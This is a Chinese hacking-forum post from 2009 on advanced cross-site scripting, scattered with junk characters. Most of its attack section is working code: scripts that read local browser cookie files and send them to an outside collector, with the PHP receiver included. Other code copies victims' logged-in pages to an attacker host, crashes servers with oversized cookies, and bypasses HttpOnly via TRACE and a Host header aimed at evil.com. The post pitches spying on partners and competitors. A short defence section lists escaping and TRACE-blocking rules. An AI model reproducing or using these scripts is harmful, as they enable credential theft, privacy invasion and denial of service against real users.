XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
2 [& \1 Y/ |3 p) G: W0 o
8 `3 ]2 e( n9 _' p9 k1 L; {XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
+ f9 J7 ~( o) e6 Z2 x, X& W转帖请保留版权

. O7 |% e7 m. H) B/ g# c

-------------------------------------------前言---------------------------------------------------------


本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
* {6 b  `/ e2 _2 R+ Zhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
" d# ^, L8 O) Z2 J5 thttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


' K, Q- o! _4 n( k1 x+ K$ B
1 [' ]2 h# |9 R# X8 f: G
( c( @, i2 e9 a+ X6 @6 Y如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
# `/ `$ G" J" ~2 m/ ~' e
5 f  Z5 m6 V+ C4 W" @希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

+ P! c8 O$ M) u. @3 r如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
8 D- L! P+ Q4 W/ L
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
( M5 N2 t* y' L# M% \
" P. H. D& I$ C$ Z9 `; cQQ ZONE,校内网XSS     感染过万QQ ZONE.

4 i$ ]* N* ~" g0 E+ E# x0 O3 ^OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
2 L! c' g: M7 I$ l# F# u
- p# y, e- e/ |! g! Z! v..........
1 H2 \) b% x3 i! u3 T复制代码------------------------------------------介绍-------------------------------------------------------------

9 y8 p: ~! _/ H8 H* l! D) Z* {- I2 ?$ {/ k什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

! J4 A0 ^$ w. B; U" r+ y* \4 s# h

- r/ I+ a- i' }6 M  a6 I2 i  q如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
/ V8 z7 Z. I) L复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
: b6 H/ x& S' F3 Z% C
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

2 G, s7 o: F8 c- P- I! X' n3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
$ w' w7 O9 n3 v, o" w4 X


------------------------------------------研究正题----------------------------------------------------------
+ \$ Q7 F5 N- R- ?: I9 c" ?. H1 g- a
; |$ e9 R* a) P; w+ z  `& v" ^

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
* @0 r3 \/ |4 J/ `7 l* t  @4 X复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
6 {1 T7 b+ \7 b$ @复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
1 k: w0 c7 Y. E  z* s& b/ u2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


) f4 A( z+ @, i, V. S* c5 _3 J$ y


(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
# m2 M" g7 V) a# `( J
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
- V2 a/ ?" H# i8 i' r2 M
) p( {! R: I% n+ Y
. X7 [& i$ T- s( ^6 |
" M& K+ C, u2 H/ e( X9 L    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


; l) k: y9 T% U0 Q' v2 X
( b+ h; l7 @: c) ?6 F8 @    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
* M7 s/ _- O( L3 H6 G' n% }) m8 p


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
; V# [' D  ?  q+ {' N3 F复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}


! ?8 h3 B4 _" ]' q2 n5 T
    function ajax_obj(){

6 Q) f+ ^4 C- r, ]. X    var request = false;
. x5 Z4 \' R3 q- C/ n
% r$ [# ^1 C* H: N( t. r  U    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
9 a  l6 z. \0 e0 w% c$ ~* Z2 a
+ h; v- V; w; q  Y/ B* ~0 ~" Y    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
% _1 d7 N( G2 n3 u


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 i3 D2 D1 a7 D( c
/ Q( z0 I6 p2 [1 z  K. x1 K8 f    for(var i=0; i<versions.length; i++) {

* M- W, {  c7 d" D4 C    try {

* e$ q5 v" H8 P    request = new ActiveXObject(versions);
+ R5 W; r- l- N
    } catch(e) {}
' X8 D/ T! s0 d" a
6 Q; C6 E6 Q. S$ _% ?    }

    }

    return request;

    }

$ |9 {$ y/ G& H; d$ g1 S) \3 H    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

  y% c' p; P5 Q+ K) \7 W    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

7 |- E7 e9 I( {6 }    return _x.responseText;
+ k/ t- z, u, i& j
    }
% F- k2 t/ H( A' C3 ]2 i6 _/ }


    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
6 m  G& N' D8 V2 L! n3 q0 h& s& I
' q% _9 N) n  k+ a' k7 n$ G    alert(txt);

2 p4 r5 `% V- c/ H8 s

& u$ B7 G/ |) }0 h  N6 n/ o" K    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

7 f7 h3 M* Z9 L    function $(x){return document.getElementById(x)}



    function ajax_obj(){

* w0 }/ b2 j$ `# J    var request = false;
9 _& R5 m+ j; P: o$ S; q
1 g) M. \" N8 V8 K* [# k: Y, @8 T    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
" l0 Q: X: t, Q; L' l5 l
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

+ k6 |" G( o/ ?. u

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

8 R: e- o7 H4 h5 m    try {

+ y# {; C' i7 U/ `    request = new ActiveXObject(versions);
$ d# s5 U; e& a3 r( K1 B  s" r! C
5 p, J, k6 O+ p; ]* ?2 A    } catch(e) {}
/ ~& h9 _+ N& Z- G' R
    }

    }

    return request;
7 l2 b0 H: }. h" H9 |7 X
' N* a; |  T. i4 ~  y; O3 N/ b5 o( I    }

    var _x = ajax_obj();
  `' s% l. u; U3 T* H* k
, T& d: A# z; f% h    function _7or3(_m,action,argv){
& @3 `. i+ A6 t  Q7 I1 O
) h' c% T; {+ `+ Q7 q: {    _x.open(_m,action,false);
# k9 S7 q# t! `- ]* m) p! w6 Z
' u% h; O! W% B, M    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
1 O5 k: u  [8 l+ v! l: X
4 x1 z, K+ A6 J- ^- C. H" H8 Q0 Q4 X    _x.send(argv);
  u9 y* V- G  K+ c( ]$ |
1 g1 ?6 T# M1 V, S$ T% P) a    return _x.responseText;
) t: d- I, u, E; Y. c( F3 U# {+ x
0 s, E6 ~% v: [- F4 W# H    }
0 S7 s: R+ l. d( ^  p: b


( K5 }: f, E) h5 h$ R0 L6 l1 s' r    var txt=_7or3("GET","1/11.txt",null);
4 Z. @8 o( e( J& @
9 V- k' }! ^1 ^$ B3 m    alert(txt);

& f. X7 Z: t+ A. s

    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
1 u" ^" Q5 x) B: H
& C9 }8 F5 U/ a

- m5 q2 K& P8 Y) |/ F' [  kChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

9 c$ k+ k. e9 b+ o% u4 i2 f1 ^

0 [& K& j' l. i/ k4 |" k; N<?   

; P% c' n# o( b5 }/*  

# @: |, r0 [0 }3 J: Z  e     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
; K& h# [! b, f+ l' K
     www.inbreak.net   
* O  q4 U9 b3 K6 W$ h0 k
     author voidloafer@gmail.com 2009-4-22   
/ H7 F2 y2 E- c2 P# U
- {9 L4 ?' F. ~# m( a     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
% t3 Z9 [' i; Q2 e& i$ h
*/  

5 ~. n; Y5 Q1 xheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  
4 o* z5 z  h0 [1 w7 s" x* R/ e) d
     set header, so just download html file,and open it at local.  

/ p$ e/ ^4 `! @; g4 u*/  

?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
4 y' c8 d0 ?. b: ^, a1 ~
     <input id="input" name="cookie" value="" type="hidden">   

6 j% n" p) J: Y/ _: k) V: F</form>   
; B" }8 H' E( H# t2 n/ |
; l; E% g0 N& C* m6 u. ]<script>   
; x, B6 @. ~/ d
5 Q: e5 b" {9 K) }0 Afunction doMyAjax(user)   
3 s% Q- F4 ]& G2 `1 F
{   
0 S) e9 Q6 |4 f  F, `) p; s
0 Y0 b6 x2 F" g  [var time = Math.random();   

& j! ?# J0 N  D, ?  w/ T0 S/*  
5 N3 M+ z, _" T, p
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

) Z, [: R/ E( _9 o9 _. Mand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
6 U5 Z& a* y, \$ ^
/ l& z4 H. b/ N0 B* ^*/  
! I1 Z( g! s2 g" r) D4 h2 M
& V3 T& O6 A5 J. \& ?  Kvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
0 o0 ^5 M6 I9 q* R% G$ j  ?
  {) U' ~7 X/ x6 ]; r   
! p8 \$ }! e. _. {* W
startRequest(strPer);   
, W" n" Q' h! M* f+ g; }5 ]
0 ]7 b% d! H7 U! N" p

  k( u8 E+ ^9 q) d8 P' H}   
3 Y* t5 L( S* a* a  T; z
+ I6 {$ K6 A  o" [, g" X   

function Enshellcode(txt)   

2 {8 Q$ O( z# d* p4 l4 v. Z/ h4 b{   

var url=new String(txt);   
- Q; Z9 a5 ]+ I8 m  `7 F
var i=0,l=0,k=0,curl="";   
! U1 p% X4 |6 @$ K6 E, h
1 ?6 Z$ E6 B) w! ]l= url.length;   
  ~3 C( I9 h4 i, G
for(;i<l;i++){   
" L  X% p& H7 R  L5 K
2 R% g/ \' K; t# E- X& Vk=url.charCodeAt(i);   
2 d& A: a4 x6 L$ t0 g; L0 u! h: I
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

- ?! Z# @8 X  Q1 S& y2 Jcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
7 J+ t; w! P9 g8 ^+ Z. d
# ^! S/ y3 i% T4 I% R0 |) k) n}   

* A9 p$ h9 T7 k1 ^) G   
& G9 ?( |* V; D$ ~/ X5 ?0 h
4 D! ?% S6 S$ F" y1 p( I   
0 m9 G' H* y: @0 R+ a! {
var xmlHttp;   

function createXMLHttp(){   
9 j* l( [( H+ u. s  E
0 l4 _$ T& g; @# X4 S& |$ ]' A     if(window.XMLHttpRequest){   

, L' n4 B4 Q% P8 txmlHttp = new XMLHttpRequest();           

     }   
' m: {9 x$ z8 o9 Y# ?
% Y4 @. H- b  S' Q. y     else if(window.ActiveXObject){   

0 ^/ M/ d/ F8 x; D" VxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
7 O  x8 Z6 N$ q2 D
     }   
" X9 \( P0 X* f1 W
}   
" m# D. N4 X3 t- C" H: Y
   

function startRequest(doUrl){   
. h9 t5 K( H/ Z9 f3 H" m
   
5 u$ z2 T" o9 l  J, `% m3 m
     createXMLHttp();   
+ n( Q$ s' j9 y+ W
4 y% i" W% i0 o& c  k, R# V
' i/ W' Y4 }6 }. u8 n
4 P% p. D, ?' i& M- _" z$ J% ^     xmlHttp.onreadystatechange = handleStateChange;   


/ I+ c# K6 }" N2 ^% y! b0 D: Q. @
     xmlHttp.open("GET", doUrl, true);   
9 E; ~' k+ t6 e" W( g( A6 j

  |! V% s( n! ^- ~& E3 V6 j6 j
     xmlHttp.send(null);   
! f9 i. ^2 L$ r
2 R  Y6 h- Z/ K/ Z


4 M$ J2 B, Y# q, ~2 O( i
0 Q3 y" b' A0 U}   

   
/ z* r7 @; }; G: j, z1 w
function handleStateChange(){   
* T4 g( R  b* Y2 D3 F  T! S2 t1 n
  C% w% o- S) U     if (xmlHttp.readyState == 4 ){   

# t7 h/ _% A: w$ M8 [4 H     var strResponse = "";   
" e: H1 s8 ^& ~1 ^( {+ Y5 p
$ g: I5 ^1 U7 m     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
8 h, e: y  l  ]5 R, V; q( {' X
! T! ~+ ~/ e$ `3 J1 l        

+ Z# V; }( Y" G( b1 e     }   
* R. \+ X6 G9 k+ Q% J" g8 M
}   

- ?0 ^3 \4 K$ u% o: ~$ J   
  m( @( j4 L* g- h6 K
   

0 {8 q7 A" Y- I+ Wfunction framekxlzxPost(text)   

{   
, G) W* Q2 x& n8 T6 E, M- \8 ?+ P
     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
- f# S4 k3 s7 |9 o6 N8 P
}   

7 L1 K  p- z5 M7 N; y5 C   

doMyAjax("administrator");   
5 a5 d3 v" M: v% {) W
   

  x# d# B% x) \. J+ @</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
3 C8 s9 |5 V8 e/ }) Y, ^
' v- h, U/ q& M" Q3 Bvar xmlHttp;  
- P7 [$ o& M5 j- y8 {2 d
5 L9 S: H9 {+ J7 |; h6 l* R2 R/ m% |function createXMLHttp(){  
! m$ o2 b2 |! K/ g8 I9 X0 N2 U# h
     if(window.XMLHttpRequest){  
2 s; i' b8 G8 y* I& M& Z: A7 F
         xmlHttp = new XMLHttpRequest();         

     }  

5 t& ]' ^/ Z1 H     else if(window.ActiveXObject){  
, P: W: q$ e  ~
9 n4 e  ~# l, ~1 M         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
3 R: U9 u+ {  U  w/ X* i1 }) r
! P5 z) c, m6 I6 ?0 }     }  

8 M% z6 n" T! h% W}  
1 h# l6 j9 C5 i7 g! \
   

function startRequest(doUrl){  
/ b# A/ u" C4 ?
           
3 k/ a2 E) d1 Q1 Z! Q3 O- k
     createXMLHttp();  

      
. B4 w0 A# T% h% m4 ^
     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  

* e, n; u( e9 C9 b      

     xmlHttp.send(null);  

      
; c- t+ U4 H' Q% K' ]) P
$ t" x3 v8 B$ y      

# E' Y* F4 N" F7 ^7 P4 W$ ~}   

' g  I, E& n7 i+ a+ U4 f1 V! r   

- L- _3 v$ I0 H4 Vfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

! v8 p" V  S* f+ z, v* U             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
- L1 x( R1 x* p5 @" M
$ d# R0 X0 z5 g               
; w) I9 o1 Z# k2 L
     }  

, [1 j- ^# M8 s0 X+ C# v8 }- b}  

- ], {$ I) y- g0 ~   
6 ?/ `  D# C3 {
function doMyAjax(user,file)  
" Q7 L5 ?& c, |$ t% ?4 P
{  
1 [. s; \. `9 p, A8 r" u+ B
& {; G  F6 r+ g7 c         var time = Math.random();  
+ a" F( h# d% w/ x5 s# O
           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

4 X# H8 d; ~; }0 I9 v& k0 i) k           

( g% x9 d1 _- G7 `" G! e2 g9 m         startRequest(strPer);  

2 V6 w  {/ v; `      
; U1 M& U$ s! X1 T. h& S
6 g, |8 ]  P! i0 C- n% N% e}  

8 S- s1 g5 `9 d# k( q   
* U6 s0 c6 ~  F/ @3 p
4 @9 }' G  w6 U/ V- \4 A6 `5 L% U0 wfunction framekxlzxPost(text)  
7 b, r$ d  {# T+ j6 w  y" V% Q4 X
# k! X6 ~- L' M9 E' I{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
1 W6 y8 i9 c; Z9 ?( Z2 k! D3 T3 A1 |
     alert(/ok/);  
4 a* ~  N4 H8 e, O- a0 S
}  

) E5 E+ i& c8 V$ l; K; i7 N; u2 L   
0 a$ S8 C: J3 |8 g+ I$ H# j
doMyAjax('administrator','administrator@alibaba[1].txt');  

1 _7 U& S, C+ p$ x" j8 A. {& \- W   

</script>
. S2 @% R8 C! }3 j( R

5 n% Z" p4 O# x% g# T' g
" o  l8 E8 Y3 W$ M* f
' ^9 q# @+ T. t* l9 T
5 J- |- N  ]$ x% }% ]" k3 Xa.php
* u. |' {# K3 c  ?
" z+ d) U" E9 |' w) w
$ r: w9 z& P" p# e  B* l/ o
<?php      
! ]2 P8 i+ n+ g6 \, @& z  G( S
   
# _/ S  i$ Z2 R( s( _9 O8 H5 {6 H4 ^
* H/ e+ ?. e  _, v% Y8 N$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
/ _! l1 Z8 S; D4 ]" O! L% U
$ N1 r, p7 G  c8 P9 A$ M# G  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
- g. ]) o" R: p, A1 M
fclose($fp);   

?>
0 r0 Z6 m( W7 t" F( Z复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

9 g% H. b. i8 g或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
( H6 y9 p) K1 b6 R7 l! @& W& e利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

/ r2 b9 X2 m7 _# I' c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
  B& c5 ~/ \7 \8 x& N
  y6 X' U4 R. `- r& b) @9 Y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
! ^' F# F/ |* D& d! ?
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
) D5 N# @) t  |* E5 M! s! i
function getURL(s) {

var image = new Image();

3 L1 H( r, a& S( G4 B2 O( B% M  v" Timage.style.width = 0;
% n- z2 G  h" X3 D2 o
image.style.height = 0;

  V/ Z1 k2 R* k  pimage.src = s;
' t# G+ m% P7 F. K. Y7 L8 p6 z$ q
}
# K4 v; y8 S5 f9 F+ m
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
8 p% I- X' A" I8 m复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
4 q: x8 g: Q5 r- o# ?1 M) x
, M% c) N- R* A' u! ]1 y- S# ~var str = "";
4 }& ^7 F0 i0 D0 O. X5 W
while (str.length < 4000){
' v: K2 j% H& H1 W4 h
    str += metastr;

! }& C7 `" }0 A}
) J5 k. G/ x) ~7 a+ ?6 ?


" y1 C1 r& z) ]4 a" [6 Cdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
; Y4 {! c+ W1 ~* `( ^
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
1 Z3 f1 X5 i9 C复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

4 D. [! J- V; z2 U/ d
0 ~; D7 U2 A! l% q6 S8 G, L2 r/ e
9 o4 G& c, ~" \6 ~

: x- X3 O& G1 L1 c; a
% m* M7 k& U! k9 h" ]2 T% P(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
9 ~$ z) |3 G# `4 ]
<!--
. ^% d9 J" f- h) F9 ~
' O* r  m7 f- E% k7 G$ ofunction normalCookie() {

7 B! l+ P4 Y' Ydocument.cookie = "TheCookieName=CookieValue_httpOnly";
" [; }, O$ S( a
2 s: Q" z0 B2 j5 S$ @- Galert(document.cookie);
6 a' S# Y  }1 d+ }
/ J* \6 q* p2 H$ @}


0 W- N8 H2 \" u) w) F
* b6 U1 w# R" Y- e* L
1 b2 `; A# ~4 L
function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
( Q8 }0 z, {+ R0 F$ b- F0 ^
alert(document.cookie);}
4 i' n3 E$ a! l, e* ]3 [


//-->
& r* B- B" b# @2 e
, v" U4 p2 Y: z" J' t</script>



<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

$ L4 p1 d- _; u; O$ O<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
2 \, p! V$ k/ Z2 ?  f复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



0 j. G4 y+ i$ ~, V) P. P2 Xvar request = false;
: d( j6 U6 R$ C( o  R
* M) y' `  x2 Q5 e        if(window.XMLHttpRequest) {
  P7 O8 m! C; a. b* C; B% \
            request = new XMLHttpRequest();
3 X0 J8 [" A- F/ M8 O% [
: U, Y; D# V+ J# c: d5 i/ a            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

( ^  @0 C' F. i/ Y8 K" t2 N            }
! n  K: v+ @* Y1 `3 K. H! u
        } else if(window.ActiveXObject) {

! w; Q4 G: e; i+ y            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 M' C- D: l1 I- T" j! ]
9 I; V7 |) i1 v& r3 q5 m            for(var i=0; i<versions.length; i++) {
& Z1 `0 `* `% T/ W; ?& A
                try {
$ |( T1 d. L! S1 A8 p  e- ^( V% ^1 E
  k/ l3 }! N. |/ o8 C) ?2 z! S' y                    request = new ActiveXObject(versions);
* K6 C* E/ Z1 y( N
                } catch(e) {}
+ K  f& s1 J+ k' n' ?
) h6 H/ B: L0 b/ t) G! z% g            }
4 |- g6 m) B* f9 @% q( L" p
- l- E0 x0 h* S6 S        }

xmlHttp=request;

/ |& h. P% {+ ]8 Y7 q! txmlHttp.open("TRACE","http://www.vul.com",false);
  ]: ^6 C  ~; n: Y0 a$ ]
xmlHttp.send(null);
$ e# N7 N+ W1 y. ]- d# _
9 a6 U* v, k3 b* j/ b' Z7 k6 AxmlDoc=xmlHttp.responseText;
& X- L/ G0 r" H3 L4 e1 k3 B
alert(xmlDoc);
' d- m6 {5 Q$ ^1 L
+ D$ D  g( X6 d0 [' i" i</script>
' g+ q; p0 R8 b6 G/ p复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

4 l* Y  H8 m4 P& P- S0 f* J, r$ Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
2 _/ G' R+ o  ~/ O  C
' q$ d) A6 [0 m  o  wXmlHttp.open("GET","http://www.google.com",false);
; x' Z% [8 I3 z5 M! T5 |
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
" c! _& x! {- ?/ C
XmlHttp.send(null);
& I$ j: z1 f1 a5 L' J
var resource=xmlHttp.responseText

resource.search(/cookies/);

) V* v2 O7 c8 `......................

</script>



# k5 \" _" J3 G3 w) v
* `4 B, H& j+ r0 r7 `. k
, \- n1 v6 B) a如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
: j8 Q; G4 r7 p# ?9 T/ B. v
( A8 \- k3 I( k: ]0 l[code]
: @" S+ h/ t7 v7 N3 [6 \3 i
" D" V* q# q- u# c" \! Q: {RewriteEngine On
7 z7 A7 B' l0 W* t/ P. |# c* g
  q: j' z$ |0 p/ m/ XRewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
( h, h- L* i' \, \/ D; C! \

. }/ _  x. a3 ]  h- Y
. \# [9 a2 t7 Q( QSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

, j+ X5 {: A( g/ bacl TRACE method TRACE

...
6 a- f$ s; V/ F# e
+ ?1 C: w, b7 u$ [1 g$ k% Fhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
) G- n+ {1 a) I4 X5 w
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
8 Y1 a) r7 R. a
/ e! Z; l! |- s  |8 VXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

